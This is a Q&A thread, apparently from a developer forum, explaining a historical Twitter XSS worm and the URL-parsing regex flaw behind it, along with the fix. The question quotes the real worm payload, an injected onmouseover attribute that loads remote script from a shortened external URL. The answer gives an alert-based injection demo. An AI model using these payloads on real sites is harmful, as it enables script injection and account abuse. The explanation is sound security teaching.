Question

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:

http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/

Is this technically an XSS attack or something else?

Here is how the Twitter home page looked like: http://www.flickr.com/photos/travelist/6832853140/

Answer 1

The vulnerability is because URLs were not being parsed properly. For example, the following URL is posted to Twitter:

http://thisisatest.com/@"onmouseover="alert('test xss')"/

Twitter treats this as the URL. When it is parsed Twitter wraps a link around that code, so the HTML now looks like:

<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span> 

You can see that by putting in the URL and the trailing slash, Twitter thinks it has a valid URL even though it contains a quote mark in it which allows it to escape (ie. terminate the href attribute, for the pedants out there) the URL attribute and include a mouse over. You can write anything to the page, including closing the link and including a script element. Also, you are not limited by the 140 character limit because you can use $.getScript().

This commit, if it were pulled, would have prevented this XSS vulnerability.

In detail, the offending regex was:

REGEXEN[:valid_url_path_chars] = /(?:
  #{REGEXEN[:wikipedia_disambiguation]}|
  @[^\/]+\/|
  [\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix

The @[^\/]+\/ part allowed any character (except a forward slash) when it was prefixed by an @ sign and suffixed by a forward slash.

By changing to @#{REGEXEN[:valid_general_url_path_chars]}+\/ it now only allows valid URL characters.